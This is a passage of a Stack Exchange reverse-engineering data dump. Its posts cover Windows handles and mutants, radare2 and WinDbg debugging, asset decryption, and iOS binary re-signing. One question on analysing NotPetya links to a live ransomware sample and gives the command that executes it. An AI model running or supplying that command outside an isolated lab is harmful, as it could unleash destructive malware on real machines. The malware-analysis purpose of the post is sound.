\Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a603d0&#xA;00000178   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a6079c&#xA;0000017C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a5ff74&#xA;00000180   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a606f4&#xA;00000184   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a60874&#xA;00000188   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a607e4&#xA;0000018C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a60004&#xA;00000190   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a60084&#xA;00000194   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a61cb4&#xA;00000198   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a61d8c&#xA;0000019C   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a5fcb0&#xA;000001A0   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a60694&#xA;000001A4   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a60df4&#xA;000001A8   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a61be4&#xA;000001AC   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a5ffa4&#xA;000001B0   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a5fdc8&#xA;000001B4   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a600b4&#xA;000001B8   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a5fd64&#xA;000001BC   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a5fec0&#xA;000001C0   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a6088c&#xA;000001C4   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a60ed8&#xA;000001C8   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a5fb28&#xA;000001CC   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a608a4&#xA;000001D0   Section             3.   000F0007                      \Sessions\1\BaseNamedObjects\NamedBuffer, mAH, Process $00001360, API $77a603b8&#xA;0000002C   Semaphore           2.   00100003        Count 0. of&#xA;00000030   Semaphore           2.   00100003        Count 0. of&#xA;00000048   WindowStation      82.   000F037F                      \Sessions\1\Windows\WindowStations\WinSta0&#xA;00000050   WindowStation      82.   000F037F                      \Sessions\1\Windows\WindowStations\WinSta0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21779" LastEditorUserId="1654" LastEditDate="2017-10-23T17:50:17.437" LastActivityDate="2017-10-24T04:13:27.570" Title="What is \Sessions\1\BaseNamedObjects\NamedBuffer?" Tags="|windows|ollydbg|winapi|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16443" PostTypeId="2" ParentId="16442" CreationDate="2017-09-29T09:52:49.637" Score="1" Body="&lt;p&gt;Those are section names, either created by CreateFileMapping() or by ZwCreateSection. It won't be the same on other computers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OllyDbg even says the handle is a section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple executable won't have many handles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check and compile this code from MSDN to see the names in the OllyDbg&#xA;handle window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/aa366551(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating Named Shared Memory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create ten different file mappings you will see&#xA;10 section handles with ten names as shown below,&#xA;&lt;strong&gt;BaseNamedObjects\MyFileMappingObject1&lt;/strong&gt; &lt;strong&gt;2, 3, etc., etc.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Handles, item 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Handle=00000028 &lt;br/&gt;&#xA;&lt;strong&gt;Type=Section&lt;/strong&gt; &lt;br/&gt;&#xA;Refs=   3. &lt;br/&gt;&#xA;Access=000F0007    WRITE_OWNER|WRITE_DAC|READ_CONTROL|DELETE|QUERY_STATE|MODIFY_STATE|4 &lt;br/&gt;&#xA;&lt;strong&gt;Name=&lt;/strong&gt;\BaseNamedObjects\MyFileMappingObject &lt;br/&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="1654" LastEditDate="2017-10-24T04:13:27.570" LastActivityDate="2017-10-24T04:13:27.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16444" PostTypeId="2" ParentId="16442" CreationDate="2017-09-29T10:43:39.357" Score="1" Body="&lt;p&gt;About this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000034   Mutant              2.   001F0001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A mutant is the kernel name for a mutex.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The name mutant has a colorful history.  Early in Windows NT's&#xA;  development, Dave Cutler created a kernel mutex object that&#xA;  implemented low-level mutual exclusion.  Later he discovered that OS/2&#xA;  required a version of the mutual exclusion semaphore with additional&#xA;  semantics, which Dave considered &quot;brain-damaged&quot; and which was&#xA;  incompatible with the original object. (Specifically, a thread could&#xA;  abandon the object and leave it inaccessible.)  So he created an OS/2&#xA;  version of the mutex and gave it the name mutant.  Later Dave modified&#xA;  the mutant object to remove the OS/2 semantics, allowing the Win32&#xA;  subsystem to use the object.  The Win32 API calls the modified object&#xA;  mutex, but the native services retain the name mutant.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.sysinternals.com/whats-a-mutant-handle_topic17376.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.sysinternals.com/whats-a-mutant-handle_topic17376.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blogs.msdn.microsoft.com/larryosterman/2004/09/24/cleaning-up-shared-resources-when-a-process-is-abnormally-terminated/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blogs.msdn.microsoft.com/larryosterman/2004/09/24/cleaning-up-shared-resources-when-a-process-is-abnormally-terminated/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Helen Custers, &quot;Inside Windows NT&quot;&lt;/p&gt;&#xA;" OwnerUserId="21779" LastActivityDate="2017-09-29T10:43:39.357" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16445" PostTypeId="1" AcceptedAnswerId="16467" CreationDate="2017-09-29T12:33:19.647" Score="2" ViewCount="318" Body="&lt;p&gt;Could anyone tell me the basic steps and most used radare2 commands for debugging a hang x86 application to find the source of the hang?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this question may sound a bit broad but I don't know where to learn this better than here.&lt;/p&gt;&#xA;" OwnerUserId="21752" LastEditorUserId="53" LastEditDate="2017-10-02T05:53:14.877" LastActivityDate="2017-10-02T05:57:31.903" Title="How to debug a hang application with radare2?" Tags="|debugging|x86|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16446" PostTypeId="1" AcceptedAnswerId="16451" CreationDate="2017-09-29T12:58:39.837" Score="0" ViewCount="2128" Body="&lt;p&gt;English isn't my first language, So I will do my best )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to analyze some malware &lt;a href=&quot;https://github.com/ytisf/theZoo/blob/master/malwares/Binaries/Ransomware.Petrwrap/Ransomware.Petrwrap.zip&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;NotPetya&quot;&gt;NotPetya&lt;/a&gt; and I can run the malware by running :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rundll32.exe notpetya.dll #1&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Olly and trying to use the LoadDLL feature. I see where the DLL calls some of it's functions, however I am not able to follow and watch it work. I want to be able to debug this DLL and see what is happening as it's working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, there doesn't appear to be anything to obfuscate me from doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I have made this clear enough for people to understand. I don't require the answer to use OllyDBG , but I would like to be able to follow this DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2017-09-29T20:47:06.670" Title="How can I dynamically debug a malicious DLL?" Tags="|ollydbg|debugging|malware|dll|dynamic-analysis|" AnswerCount="1" CommentCount="1" ClosedDate="2017-10-01T19:46:50.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="16447" PostTypeId="1" CreationDate="2017-09-29T13:08:57.453" Score="2" ViewCount="341" Body="&lt;p&gt;I have a decryption formula, the file it links to containing file passwords, and the encrypted files themselves, but I still don't understand how to reverse the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question: Do I need any more information to be able to decrypt the files (if so, what?) + if I am able to decrypt the files, what is the best way to do so?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps in the formula are (from the comments in the code):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Assess whether the file is a sound file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if [ ${FILE##*.} != mp3 ] &amp;amp;&amp;amp; [ ${FILE##*.} != wav ] &amp;amp;&amp;amp; [ ${FILE##*.} != mov ] ; then&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;XOR non-sound files with passwords based on a separate file (.out)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;encrypt ${FILE}&quot;&#xA;mv &quot;$FILE&quot; &quot;${FILE}_&quot;&#xA;../tools/pass.out &quot;${FILE}_&quot; &quot;$FILE&quot;&#xA;rm &quot;${FILE}_&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the file name to a hash value or just change the file extension&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MP3_FILENAME=`basename ${FILE}`&#xA;DIR_NAME=${FILE%/*.*}/&#xA;&#xA;if [ ${DIR_NAME} != ./tmp/cc/ ] &amp;amp;&amp;amp; [ ${DIR_NAME} != ./tmp/dd/ ] ; then       &#xA;    SHA1=`get_random_mp3_filename ${MP3_FILENAME}`&#xA;    mv &quot;${FILE}&quot; &quot;${DIR_NAME}${SHA1#SHA1(${FILE})= }.png&quot;&#xA;    echo &quot;${MP3_FILENAME}: ${SHA1}&quot;&#xA;else&#xA;    mv &quot;${FILE}&quot; &quot;${FILE%.*}.png&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The pass.out file (CF FA ED FE) disassembles without issue. I have no idea how it works or how to use it in reverse. I have attached the file below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/open?id=0B2FK8VIu6fm2S0NZbkVnMTEwbms&quot; rel=&quot;nofollow noreferrer&quot;&gt;pass.out&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies in advance if I've made any wrong assumptions or used wrong terminology. Any help, explanations, or pointers to learning resources would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Sorry for the confusion! The files are from the .apk of an Android app. My aim is to decrypt them to common file formats e.g. .png and .mp3. From inspecting the .apk, I believe files are processed in the following ways:&#xA;1) Sound files (.wav, .mp3, .mov) in specific folders have their extension changed to .png. I can play them by changing the extension back to the original.&#xA;2) All other files are XOR encrypted by running them through the pass.out file. I want to know how to reverse this process.&lt;/p&gt;&#xA;" OwnerUserId="21781" LastEditorUserId="21782" LastEditDate="2017-09-29T20:43:59.967" LastActivityDate="2017-09-29T20:43:59.967" Title="How to decrypt files given access to the decryption formula (bash) and passwords (Mach-O binary)" Tags="|decryption|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16448" PostTypeId="1" CreationDate="2017-09-29T15:19:26.410" Score="1" ViewCount="124" Body="&lt;p&gt;I am currently writing a small utility leveraging pydbg. One of the features I am trying to implement is as follows: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each DLL imported, I want to list the api functions that the module exports and loaded at run-time. As an example if a debuggee imports ws2_32.dll I would like to walk the list of the API's that ws2_32.dll exports. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to do this using PEfile when the executable is not running, by walking the import table. I am trying to do something similar when the executable is running as process. I know that you can use the enumerate_modules method from pydbg but that only returns the modules and base address. Is it possible to do what I am asking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ryan&lt;/p&gt;&#xA;" OwnerUserId="20200" LastActivityDate="2017-10-11T00:00:30.927" Title="Pydbg List imported API" Tags="|debugging|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16451" PostTypeId="2" ParentId="16446" CreationDate="2017-09-29T20:47:06.670" Score="0" Body="&lt;p&gt;Perhaps the simplest thing would be to find the entrypoint in the DLL, make a note of the byte at that location, and then replace it with an &quot;int 3&quot; (0xcc) instruction.  Then you can use a debugger to run the command-line that will cause the DLL to be loaded, and the debugger will regain control.  At that point, you can restore the replaced byte with the original value, and single-step or run to breakpoints that you set.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-09-29T20:47:06.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16454" PostTypeId="1" CreationDate="2017-09-30T13:03:21.433" Score="10" ViewCount="7968" Body="&lt;p&gt;As I understand, from windows XP, there is a &lt;code&gt;sysenter&lt;/code&gt; instruction introduced, instead of &lt;code&gt;int 2e&lt;/code&gt; interrupt.&lt;/p&gt;&#xA;&lt;p&gt;But on win 10 there is &lt;code&gt;syscall&lt;/code&gt; instruction used in ntdll. So is the &lt;code&gt;sysenter&lt;/code&gt; used only for x86 windows systems? And &lt;code&gt;syscall&lt;/code&gt; only for x64 bit systems?&lt;/p&gt;&#xA;" OwnerUserId="21798" LastEditorUserId="13014" LastEditDate="2023-12-29T02:39:19.080" LastActivityDate="2023-12-29T02:39:19.080" Title="Struggling between syscall or sysenter ( Windows )" Tags="|windows|x86|x86-64|operating-systems|system-call|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16459" PostTypeId="2" ParentId="16438" CreationDate="2017-10-01T09:32:06.580" Score="2" Body="&lt;p&gt;I found a solution thanks to this ressource on GitHub: &lt;a href=&quot;https://github.com/peterfillmore/removePIE/issues/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/peterfillmore/removePIE/issues/1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After disabling ASLR, I copied the binary from the iPhone to a laptop.&lt;/li&gt;&#xA;&lt;li&gt;Then, as described in the previously linked ressource, I extracted the entitlements with &lt;code&gt;ldid&lt;/code&gt;, and put it back in while signing them. This step requires an apple developper account.&lt;/li&gt;&#xA;&lt;li&gt;Copied back to the iPhone. &lt;/li&gt;&#xA;&lt;li&gt;Finally, updated the authorisations (chmod), also described in the linked page.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ldid&lt;/code&gt;tool can be installed through brew: &lt;a href=&quot;http://brewformulas.org/Ldid&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://brewformulas.org/Ldid&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an exemple for the Facebook app, taken from the previous linked page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myPC: ~ peterfillmore$ ldid -e ./Facebook &amp;gt; ent.xml&#xA;myPC: ~ peterfillmore$ codesign -f -s &quot;iPhone Developer&quot; --entitlements ent.xml ./Facebook&#xA;./Facebook: replacing existing signature&#xA;#resign app binary (need apple developper account)&#xA;&#xA;iPad:/usrapps/73547808-1899-412F-9CBF-C636B7851EE9/Facebook.app root# rm ./Facebook&#xA;#remove existing binary to clear cache(i think)&#xA;&#xA;myPC:~ peterfillmore$ scp ./Facebook root@192.168.1.20://usrapps/xxx/Facebook.app/Facebook&#xA;#copy back to device&#xA;&#xA;iPad:/usrapps/xxx/Facebook.app root# chmod 0755 ./Facebook&#xA;#change back to executable&#xA;&#xA;iPad:/usrapps/xxx/Facebook.app root# ./Facebook&#xA;#executes fine&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this will help others.&lt;/p&gt;&#xA;" OwnerUserId="21804" LastActivityDate="2017-10-01T09:32:06.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16460" PostTypeId="1" AcceptedAnswerId="16462" CreationDate="2017-10-01T15:35:25.853" Score="6" ViewCount="3273" Body="&lt;p&gt;&lt;strong&gt;Intro&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm facing a peculiar deadlock scenario I never saw before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to debug this deadlock from 3 days and couldn't find how to fix it in a proper way. Hopefully someone would help me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't have the application's source code so this deadlock must be fixed patching the asm code (no problems patching the binary though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The scenario&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application is a x86 old online game which uses directx 9 to render graphics (d3d9.dll). From what I could analyse there are 3 threads related to this deadlock. To name, thread #1 is the main thread (which render every frame), thread #2 seems to be a d3d9 worker thread that queue some async resource loading to be processed and drawn out by the thread #1, and then we have the mysterious thread #3 which is related to a feature of the game that basically make a http request to a server and download a texture to display in the game on-the-fly; every time this texture have to be drawn, the main thread creates this thread #3 to process the I/O to download the texture, which will be passed to the thread #2 (d3d9 worker thread) to be finally async processed by the thread #1 (game loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After thread #3 gives to thread #2 the texture resources, thread #3 shutdowns itself. This thread #3 is created from crt!_beginthread and shutdown with crt!_endthread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The deadlock&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sumup: &lt;em&gt;thread #1&lt;/em&gt; (game loop), &lt;em&gt;thread #2&lt;/em&gt; (d3d9 worker thread), &lt;em&gt;thread #3&lt;/em&gt; (downloads texture from http).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem occurs when (for some unknown reason) thread #3 is ended without freeing a lock which is being awaited by thread #2. Thread #1 in turn is waiting for thread #2 to acquire the resources to be drawn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is different from all other deadlocks I have faced with because the thread that seems to be causing the deadlock doesn't exist anymore when the deadlock occurs. All the other deadlocks I have debugged was pretty much straight forward to find the source of the problem because when isolating the threads in deadlock I simply had to analyse the call stack from each thread to know exactly what was happening. The big problem here is that as thread #3 is dead I don't have its call stack to see the moment it creates the deadlock. So the big question is: how can I find what is happening inside this thread #3 if I can't even see the call stack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some WinDbg analysis output after deadlocks occur&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;0:001&gt; !locks&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CritSec +935a060 at 0935a060&#xA;WaiterWoken        No&#xA;LockCount          2&#xA;RecursionCount     1&#xA;OwningThread       34fc&#xA;EntryCount         0&#xA;ContentionCount    21a&#xA;*** Locked&#xA;&#xA;Scanned 27 critical sections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;0:001&gt; !runaway&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  User Mode Time   Thread       Time&#xA;   0:2888      0 days 0:00:15.234&#xA;  11:2210      0 days 0:00:02.796&#xA;  20:15f0      0 days 0:00:01.656&#xA;  17:584       0 days 0:00:00.453&#xA;  21:2860      0 days 0:00:00.140&#xA;  13:8cc       0 days 0:00:00.031&#xA;   7:1a70      0 days 0:00:00.031&#xA;  23:373c      0 days 0:00:00.015&#xA;  14:2fe0      0 days 0:00:00.015&#xA;  22:1bf4      0 days 0:00:00.000&#xA;  19:3a50      0 days 0:00:00.000&#xA;  18:2980      0 days 0:00:00.000&#xA;  16:1e0c      0 days 0:00:00.000&#xA;  15:2768      0 days 0:00:00.000&#xA;  12:3154      0 days 0:00:00.000&#xA;  10:2cfc      0 days 0:00:00.000&#xA;   9:1e40      0 days 0:00:00.000&#xA;   8:1ea8      0 days 0:00:00.000&#xA;   5:2b64      0 days 0:00:00.000&#xA;   4:338c      0 days 0:00:00.000&#xA;   1:3be8      0 days 0:00:00.000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;0:001&gt; ~0 kb&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # ChildEBP RetAddr  Args to Child              &#xA;00 0019f640 75f48869 000006c0 00000000 0019f688 ntdll!NtWaitForSingleObject+0xc&#xA;01 0019f6b4 75f487c2 000006c0 000003e8 00000000 KERNELBASE!WaitForSingleObjectEx+0x99&#xA;02 0019f6c8 68bbac92 000006c0 000003e8 0935a040 KERNELBASE!WaitForSingleObject+0x12&#xA;03 0019f6dc 68b7d6e4 88760870 0935a040 015c6e38 d3d9!CBatchFilterI::WaitForBatchWorkerThread+0x23&#xA;04 0019f6ec 68c403d1 04f0de60 68c403b0 c9e02d57 d3d9!CBatchFilterI::FlushBatchWorkerThread+0xc&#xA;05 0019f700 68b78522 0935a040 00000000 00011001 d3d9!CBatchFilterI::LHBatchFlush1+0x21&#xA;06 0019f718 68b99daa 04f0de60 68b54020 04f0dd00 d3d9!Flush+0x36&#xA;07 0019f9bc 68b6a661 04f0de60 04f0b634 04f08ac0 d3d9!DdBltLH+0x45d8a&#xA;08 0019fa94 68be9fcc 00000000 00000000 00000000 d3d9!CSwapChain::PresentMain+0x3a7&#xA;09 0019fabc 68be9e57 00000000 00000000 00000000 d3d9!CBaseDevice::PresentMain+0x68&#xA;0a 0019faf4 10109099 04f08ac0 00000000 00000000 d3d9!CBaseDevice::Present+0x57&#xA;0b 0019fc10 10107a15 04f08ac0 00000000 00000000 DoNPatch!fIDirect3Device9::fPresent+0x2e9&#xA;0c 0019fc58 005495e0 00000001 03440be8 03448a70 DoNPatch!NKD_IDirect3DDevice_Present+0x5&#xA;0d 0019fc7c 00549367 00000000 03440be8 00000000 SD_Asgard!loc_5494D7+0x109&#xA;0e 0019fcc4 0054b7a1 0105a000 03440be8 00b200b0 SD_Asgard!loc_549367&#xA;0f 0019fef4 005bb824 00400000 00000000 01503b2d SD_Asgard!loc_54B784+0x1d&#xA;10 0019ff80 76d28744 00302000 76d28720 34573170 SD_Asgard!loc_5BB812+0x12&#xA;11 0019ff94 76f8582d 00302000 03e96be8 00000000 KERNEL32!BaseThreadInitThunk+0x24&#xA;12 0019ffdc 76f857fd ffffffff 76fa6389 00000000 ntdll!__RtlUserThreadStart+0x2f&#xA;13 0019ffec 00000000 005cc46f 00302000 00000000 ntdll!_RtlUserThreadStart+0x1b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;0:001&gt; ~11 kb&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # ChildEBP RetAddr  Args to Child              &#xA;00 04c2fe58 76f4c07a 0935a064 00000000 00000000 ntdll!NtWaitForAlertByThreadId+0xc&#xA;01 04c2fe78 76f4bfbe 00000000 00000000 ffffffff ntdll!RtlpWaitOnAddressWithTimeout+0x33&#xA;02 04c2febc 76f4beb5 00000004 00000000 00000000 ntdll!RtlpWaitOnAddress+0xa5&#xA;03 04c2fefc 76f6b3f1 0935a040 0935a040 00000004 ntdll!RtlpWaitOnCriticalSection+0xb7&#xA;04 04c2ff1c 76f6b315 0935a040 04c2ff38 68b7d1e8 ntdll!RtlpEnterCriticalSectionContended+0xd1&#xA;05 04c2ff28 68b7d1e8 0935a060 0941a324 04c2ff60 ntdll!RtlEnterCriticalSection+0x45&#xA;06 04c2ff38 68b80753 00000001 0935a040 00000001 d3d9!CBatchFilterI::AcquireSynchronization+0x28&#xA;07 04c2ff60 68c42021 0941a320 00000001 68c41760 d3d9!CBatchFilterI::ProcessBatch+0x14b&#xA;08 04c2ff78 68c4176d 04c2ff94 76d28744 0935a040 d3d9!CBatchFilterI::WorkerThread+0x2d&#xA;09 04c2ff80 76d28744 0935a040 76d28720 308c3170 d3d9!CBatchFilterI::LHBatchWorkerThread+0xd&#xA;0a 04c2ff94 76f8582d 0935a040 07326be8 00000000 KERNEL32!BaseThreadInitThunk+0x24&#xA;0b 04c2ffdc 76f857fd ffffffff 76fa6389 00000000 ntdll!__RtlUserThreadStart+0x2f&#xA;0c 04c2ffec 00000000 68c41760 0935a040 00000000 ntdll!_RtlUserThreadStart+0x1b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the outputs above, the thread id owning the locked critical section (34fc) is the thread #3 (makes the http request), which isn't presented in the !runaway list. In the !runaway list, the thread number 0 is the #1 (game loop) and the thread number 11 is the #2 (d3d9 batch worker). If you need any other data I can gather just ask for it. In this analysis I used IDA Pro 6.9 and WinDbg, but I can get other tool if available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To end up, sorry for the long text and thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="21808" LastActivityDate="2017-10-02T13:39:31.947" Title="Debugging a deadlock when the mutex owner thread is dead?" Tags="|ida|windbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16461" PostTypeId="1" AcceptedAnswerId="16470" CreationDate="2017-10-01T17:53:04.120" Score="0" ViewCount="132" Body="&lt;p&gt;After analyzing some binaries, I noticed that the sections, .text, .data, .bss, etc, are not really adjacent. It seems to be a gap between them, why is that?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastActivityDate="2017-10-02T13:07:18.167" Title="Gaps between sections" Tags="|binary-analysis|executable|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16462" PostTypeId="2" ParentId="16460" CreationDate="2017-10-01T19:00:23.370" Score="8" Body="&lt;p&gt;This is more of a SW dev problem than RE, but you can try using &lt;a href=&quot;https://blogs.msdn.microsoft.com/junfeng/2008/04/21/use-htrace-to-debug-handle-leak/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;!htrace&lt;/code&gt;&lt;/a&gt; to find out where the mutex was originally allocated (creation stack trace). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, try to figure why the thread #3 exits without releasing the lock.&#xA;This may be a bit tricky, but if you can repro the two scenartios (with and without releasing the lock), &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2567/60&quot;&gt;differential debugging&lt;/a&gt; may be useful to figure out where the code paths diverge.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-10-02T13:39:31.947" LastActivityDate="2017-10-02T13:39:31.947" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
